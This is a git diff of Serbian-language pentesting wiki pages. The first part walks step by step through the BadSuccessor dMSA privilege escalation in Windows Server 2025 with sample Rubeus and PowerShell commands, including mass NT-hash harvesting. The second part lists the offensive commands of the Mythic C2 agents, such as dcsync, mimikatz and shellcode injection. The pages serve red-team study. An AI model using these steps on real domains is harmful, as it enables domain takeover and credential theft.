Delegirani upravljani servisni nalozi (**dMSAs**) su potpuno novi tip AD principa uveden sa **Windows Server 2025**. Dizajnirani su da zamene nasleđene servisne naloge omogućavajući "migraciju" jednim klikom koja automatski kopira Service Principal Names (SPNs), članstva u grupama, postavke delegacije, pa čak i kriptografske ključeve starog naloga u novi dMSA, omogućavajući aplikacijama neometan prelaz i eliminišući rizik od Kerberoasting-a.
|
||||
|
||||
Istraživači iz Akamai-a su otkrili da jedan atribut — **`msDS‑ManagedAccountPrecededByLink`** — govori KDC-u koji nasleđeni nalog dMSA "nasleđuje". Ako napadač može da upiše taj atribut (i preklopi **`msDS‑DelegatedMSAState` → 2**), KDC će rado izgraditi PAC koji **nasleđuje svaki SID od odabranog žrtve**, efikasno omogućavajući dMSA da se pretvara u bilo kog korisnika, uključujući Domain Admins.
|
||||
Istraživači Akamai-a su otkrili da jedan atribut — **`msDS‑ManagedAccountPrecededByLink`** — govori KDC-u koji nasleđeni nalog dMSA "nasleđuje". Ako napadač može da upiše taj atribut (i prebaciti **`msDS‑DelegatedMSAState` → 2**), KDC će rado izgraditi PAC koji **nasleđuje svaki SID od odabranog žrtvenog naloga**, efikasno omogućavajući dMSA da se pretvara u bilo kog korisnika, uključujući Domain Admins.
|
||||
|
||||
## Šta je tačno dMSA?
|
||||
|
||||
* Izgrađen na osnovu **gMSA** tehnologije, ali smešten kao nova AD klasa **`msDS‑DelegatedManagedServiceAccount`**.
|
||||
* Podržava **migraciju na zahtev**: pozivanje `Start‑ADServiceAccountMigration` povezuje dMSA sa nasleđenim nalogom, dodeljuje nasleđenom nalogu pravo pisanja na `msDS‑GroupMSAMembership`, i prebacuje `msDS‑DelegatedMSAState` = 1.
|
||||
* Nakon `Complete‑ADServiceAccountMigration`, zamenjeni nalog se onemogućava i dMSA postaje potpuno funkcionalan; svaki host koji je prethodno koristio nasleđeni nalog automatski je ovlašćen da povuče lozinku dMSA.
|
||||
* Tokom autentifikacije, KDC ugrađuje **KERB‑SUPERSEDED‑BY‑USER** naznaku tako da Windows 11/24H2 klijenti neprimetno ponovo pokušavaju sa dMSA.
|
||||
* Tokom autentifikacije, KDC ugrađuje **KERB‑SUPERSEDED‑BY‑USER** naznaku tako da Windows 11/24H2 klijenti transparentno ponovo pokušavaju sa dMSA.
|
||||
|
||||
## Zahtevi za napad
|
||||
1. **Najmanje jedan Windows Server 2025 DC** kako bi dMSA LDAP klasa i KDC logika postojale.
|
||||
@ -23,7 +23,7 @@ Istraživači iz Akamai-a su otkrili da jedan atribut — **`msDS‑ManagedAccou
|
||||
|
||||
## Korak po korak: BadSuccessor*eskalacija privilegija
|
||||
|
||||
1. **Locirajte ili kreirajte dMSA koji kontrolišete**
|
||||
1. **Pronađite ili kreirajte dMSA koji kontrolišete**
|
||||
```bash
|
||||
New‑ADServiceAccount Attacker_dMSA `
|
||||
‑DNSHostName ad.lab `
|
||||
@ -46,13 +46,13 @@ Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/aka.test /dmsa /ops
|
||||
|
||||
Vraćeni PAC sada sadrži SID 500 (Administrator) plus grupe Domain Admins/Enterprise Admins.
|
||||
|
||||
## Prikupite sve lozinke korisnika
|
||||
## Prikupite lozinke svih korisnika
|
||||
|
||||
Tokom legitimnih migracija, KDC mora dozvoliti novom dMSA da dekriptuje **karte izdate starom nalogu pre promene**. Da bi izbegao prekid aktivnih sesija, stavlja i trenutne i prethodne ključeve unutar novog ASN.1 blob-a nazvanog **`KERB‑DMSA‑KEY‑PACKAGE`**.
|
||||
Tokom legitimnih migracija, KDC mora dozvoliti novom dMSA da dekriptuje **karte izdate starom nalogu pre prelaza**. Da bi izbegao prekid aktivnih sesija, stavlja i trenutne ključeve i prethodne ključeve unutar novog ASN.1 blob-a nazvanog **`KERB‑DMSA‑KEY‑PACKAGE`**.
|
||||
|
||||
Pošto naša lažna migracija tvrdi da dMSA nasleđuje žrtvu, KDC savesno kopira RC4‑HMAC ključ žrtve u listu **prethodnih ključeva** – čak i ako dMSA nikada nije imao "prethodnu" lozinku. Taj RC4 ključ nije zasoljen, tako da je efikasno NT hash žrtve, dajući napadaču **offline cracking ili "pass-the-hash"** sposobnost.
|
||||
Pošto naša lažna migracija tvrdi da dMSA nasleđuje žrtvu, KDC savesno kopira RC4‑HMAC ključ žrtve u **prethodne ključeve** – čak i ako dMSA nikada nije imao "prethodnu" lozinku. Taj RC4 ključ nije zasoljen, tako da je efikasno NT hash žrtve, dajući napadaču **offline cracking ili "pass-the-hash"** sposobnost.
|
||||
|
||||
Stoga, masovno povezivanje hiljada korisnika omogućava napadaču da izdumpuje hash-ove "u velikim razmerama", pretvarajući **BadSuccessor u primitivu za eskalaciju privilegija i kompromitaciju kredencijala**.
|
||||
Stoga, masovno povezivanje hiljada korisnika omogućava napadaču da izdumpuje hash-ove "na velikoj skali", pretvarajući **BadSuccessor u primitiv za eskalaciju privilegija i kompromitaciju kredencijala**.
|
||||
|
||||
## Alati
|
||||
|
||||
|
@ -1,8 +1,10 @@
|
||||
# Mythic
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Šta je Mythic?
|
||||
|
||||
Mythic je open-source, modularni komandni i kontrolni (C2) okvir dizajniran za red teaming. Omogućava bezbednosnim profesionalcima da upravljaju i implementiraju različite agente (payloads) na različitim operativnim sistemima, uključujući Windows, Linux i macOS. Mythic pruža korisnički prijateljski web interfejs za upravljanje agentima, izvršavanje komandi i prikupljanje rezultata, što ga čini moćnim alatom za simulaciju stvarnih napada u kontrolisanom okruženju.
|
||||
Mythic je open-source, modularni komandni i kontrolni (C2) okvir dizajniran za red teaming. Omogućava bezbednosnim profesionalcima da upravljaju i implementiraju različite agente (payloads) na različitim operativnim sistemima, uključujući Windows, Linux i macOS. Mythic pruža korisnički prijateljsko web sučelje za upravljanje agentima, izvršavanje komandi i prikupljanje rezultata, čineći ga moćnim alatom za simulaciju stvarnih napada u kontrolisanom okruženju.
|
||||
|
||||
### Instalacija
|
||||
|
||||
@ -38,7 +40,7 @@ Instalirajte ga sa:
|
||||
```bash
|
||||
./mythic-cli install github https://github.com/MythicAgents/Apollo.git
|
||||
```
|
||||
Ovaj agent ima mnogo komandi koje ga čine veoma sličnim Cobalt Strike-ovom Beacon-u sa nekim dodatnim funkcijama. Među njima, podržava:
|
||||
Ovaj agent ima mnogo komandi koje ga čine veoma sličnim Cobalt Strike's Beacon-u sa nekim dodatnim funkcijama. Među njima, podržava:
|
||||
|
||||
### Uobičajene akcije
|
||||
|
||||
@ -58,15 +60,15 @@ Ovaj agent ima mnogo komandi koje ga čine veoma sličnim Cobalt Strike-ovom Bea
|
||||
### Eskalacija privilegija
|
||||
|
||||
- `getprivs`: Omogućava što više privilegija na trenutnom tokenu niti
|
||||
- `getsystem`: Otvara handle za winlogon i duplicira token, efikasno eskalirajući privilegije na nivo SISTEMA
|
||||
- `getsystem`: Otvara handle za winlogon i duplicira token, efektivno eskalirajući privilegije na nivo SISTEMA
|
||||
- `make_token`: Kreira novu sesiju prijavljivanja i primenjuje je na agenta, omogućavajući impersonaciju drugog korisnika
|
||||
- `steal_token`: Krade primarni token iz drugog procesa, omogućavajući agentu da impersonira korisnika tog procesa
|
||||
- `steal_token`: Krade primarni token iz drugog procesa, omogućavajući agentu da impersonuje korisnika tog procesa
|
||||
- `pth`: Pass-the-Hash napad, omogućavajući agentu da se autentifikuje kao korisnik koristeći njihov NTLM hash bez potrebe za plaintext lozinkom
|
||||
- `mimikatz`: Pokreće Mimikatz komande za ekstrakciju kredencijala, hash-eva i drugih osetljivih informacija iz memorije ili SAM baze podataka
|
||||
- `rev2self`: Vraća agentov token na njegov primarni token, efikasno vraćajući privilegije na originalni nivo
|
||||
- `rev2self`: Vraća agentov token na njegov primarni token, efektivno vraćajući privilegije na originalni nivo
|
||||
- `ppid`: Menja roditeljski proces za post-exploitation poslove tako što specificira novi ID roditeljskog procesa, omogućavajući bolju kontrolu nad kontekstom izvršenja posla
|
||||
- `printspoofer`: Izvršava PrintSpoofer komande da zaobiđe sigurnosne mere štampača, omogućavajući eskalaciju privilegija ili izvršenje koda
|
||||
- `dcsync`: Sinhronizuje Kerberos ključeve korisnika na lokalnu mašinu, omogućavajući offline razbijanje lozinki ili dalja napada
|
||||
- `dcsync`: Sinhronizuje Kerberos ključeve korisnika sa lokalnom mašinom, omogućavajući offline razbijanje lozinki ili dalja napada
|
||||
- `ticket_cache_add`: Dodaje Kerberos tiket trenutnoj sesiji prijavljivanja ili određenoj, omogućavajući ponovnu upotrebu tiketa ili impersonaciju
|
||||
|
||||
### Izvršenje procesa
|
||||
@ -76,7 +78,7 @@ Ovaj agent ima mnogo komandi koje ga čine veoma sličnim Cobalt Strike-ovom Bea
|
||||
- `execute_coff`: Izvršava COFF datoteku u memoriji, omogućavajući izvršenje kompajliranog koda u memoriji
|
||||
- `execute_pe`: Izvršava unmanaged izvršnu datoteku (PE)
|
||||
- `inline_assembly`: Izvršava .NET assembly u jednokratnom AppDomain-u, omogućavajući privremeno izvršenje koda bez uticaja na glavni proces agenta
|
||||
- `run`: Izvršava binarnu datoteku na ciljanom sistemu, koristeći sistemski PATH da pronađe izvršnu datoteku
|
||||
- `run`: Izvršava binarnu datoteku na ciljanom sistemu, koristeći sistemski PATH za pronalaženje izvršne datoteke
|
||||
- `shinject`: Injektuje shellcode u udaljeni proces, omogućavajući izvršenje proizvoljnog koda u memoriji
|
||||
- `inject`: Injektuje agentov shellcode u udaljeni proces, omogućavajući izvršenje agentovog koda u memoriji
|
||||
- `spawn`: Pokreće novu sesiju agenta u specificiranoj izvršnoj datoteci, omogućavajući izvršenje shellcode-a u novom procesu
|
||||
@ -107,20 +109,20 @@ Nakon što se jedan modul učita, pojaviće se na listi kao druga komanda poput
|
||||
|
||||
### Lateralno kretanje
|
||||
|
||||
- `jump_psexec`: Koristi PsExec tehniku za lateralno kretanje ka novom hostu tako što prvo kopira izvršni fajl Apollo agenta (apollo.exe) i izvršava ga.
|
||||
- `jump_wmi`: Koristi WMI tehniku za lateralno kretanje ka novom hostu tako što prvo kopira izvršni fajl Apollo agenta (apollo.exe) i izvršava ga.
|
||||
- `jump_psexec`: Koristi PsExec tehniku da se lateralno pomeri na novi host tako što prvo kopira izvršni fajl Apollo agenta (apollo.exe) i izvršava ga.
|
||||
- `jump_wmi`: Koristi WMI tehniku da se lateralno pomeri na novi host tako što prvo kopira izvršni fajl Apollo agenta (apollo.exe) i izvršava ga.
|
||||
- `wmiexecute`: Izvršava komandu na lokalnom ili određenom udaljenom sistemu koristeći WMI, sa opcionim kredencijalima za impersonaciju.
|
||||
- `net_dclist`: Preuzima listu kontrolera domena za određeni domen, korisno za identifikaciju potencijalnih ciljeva za lateralno kretanje.
|
||||
- `net_localgroup`: Prikazuje lokalne grupe na određenom računaru, podrazumevano na localhost ako nije specificiran računar.
|
||||
- `net_localgroup`: Prikazuje lokalne grupe na određenom računaru, podrazumevano na localhost ako nije naveden računar.
|
||||
- `net_localgroup_member`: Preuzima članstvo lokalne grupe za određenu grupu na lokalnom ili udaljenom računaru, omogućavajući enumeraciju korisnika u specifičnim grupama.
|
||||
- `net_shares`: Prikazuje udaljene deljene resurse i njihovu dostupnost na određenom računaru, korisno za identifikaciju potencijalnih ciljeva za lateralno kretanje.
|
||||
- `socks`: Omogućava SOCKS 5 kompatibilan proxy na ciljanom mrežnom okruženju, omogućavajući tunelovanje saobraćaja kroz kompromitovani host. Kompatibilno sa alatima poput proxychains.
|
||||
- `rpfwd`: Počinje da sluša na određenom portu na ciljanom hostu i prosleđuje saobraćaj kroz Mythic na udaljenu IP adresu i port, omogućavajući daljinski pristup uslugama na ciljanom mrežnom okruženju.
|
||||
- `socks`: Omogućava SOCKS 5 kompatibilan proxy na ciljanom mrežnom okruženju, omogućavajući tunelovanje saobraćaja kroz kompromitovani host. Kompatibilan sa alatima kao što su proxychains.
|
||||
- `rpfwd`: Počinje da sluša na određenom portu na ciljanom hostu i prosleđuje saobraćaj kroz Mythic na udaljenu IP adresu i port, omogućavajući udaljeni pristup uslugama na ciljanom mrežnom okruženju.
|
||||
- `listpipes`: Prikazuje sve imenovane cevi na lokalnom sistemu, što može biti korisno za lateralno kretanje ili eskalaciju privilegija interakcijom sa IPC mehanizmima.
|
||||
|
||||
### Razno
|
||||
- `help`: Prikazuje detaljne informacije o specifičnim komandama ili opšte informacije o svim dostupnim komandama u agentu.
|
||||
- `clear`: Označava zadatke kao 'obrisane' tako da ih agenti ne mogu preuzeti. Možete specificirati `all` da obrišete sve zadatke ili `task Num` da obrišete određeni zadatak.
|
||||
- `clear`: Označava zadatke kao 'obrisane' tako da ih agenti ne mogu preuzeti. Možete navesti `all` da obrišete sve zadatke ili `task Num` da obrišete određeni zadatak.
|
||||
|
||||
|
||||
## [Poseidon Agent](https://github.com/MythicAgents/Poseidon)
|
||||
@ -151,15 +153,18 @@ Kada korisnik koristi linux, postoje neki zanimljivi komandi:
|
||||
### Lateralno kretanje
|
||||
|
||||
- `ssh`: SSH na host koristeći dodeljene akreditive i otvara PTY bez pokretanja ssh.
|
||||
- `sshauth`: SSH na određeni host(e) koristeći dodeljene akreditive. Takođe možete koristiti ovo za izvršavanje specifične komande na udaljenim hostovima putem SSH ili za SCP datoteke.
|
||||
- `sshauth`: SSH na određeni host(ove) koristeći dodeljene akreditive. Takođe možete koristiti ovo za izvršavanje specifične komande na udaljenim hostovima putem SSH ili za SCP datoteke.
|
||||
- `link_tcp`: Povezuje se sa drugim agentom preko TCP, omogućavajući direktnu komunikaciju između agenata.
|
||||
- `link_webshell`: Povezuje se sa agentom koristeći webshell P2P profil, omogućavajući daljinski pristup web interfejsu agenta.
|
||||
- `rpfwd`: Pokreće ili zaustavlja obrnuti port forwarding, omogućavajući daljinski pristup uslugama na ciljnjoj mreži.
|
||||
- `socks`: Pokreće ili zaustavlja SOCKS5 proxy na ciljnjoj mreži, omogućavajući tunelovanje saobraćaja kroz kompromitovani host. Kompatibilno sa alatima kao što je proxychains.
|
||||
- `portscan`: Skener host(e) za otvorene portove, korisno za identifikaciju potencijalnih ciljeva za lateralno kretanje ili dalja napada.
|
||||
- `portscan`: Skener host(ova) za otvorene portove, koristan za identifikaciju potencijalnih ciljeva za lateralno kretanje ili dalja napada.
|
||||
|
||||
### Izvršavanje procesa
|
||||
|
||||
- `shell`: Izvršava jednu shell komandu putem /bin/sh, omogućavajući direktno izvršavanje komandi na ciljnim sistemima.
|
||||
- `run`: Izvršava komandu sa diska sa argumentima, omogućavajući izvršavanje binarnih datoteka ili skripti na ciljnim sistemima.
|
||||
- `pty`: Otvara interaktivni PTY, omogućavajući direktnu interakciju sa shell-om na ciljnim sistemima.
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user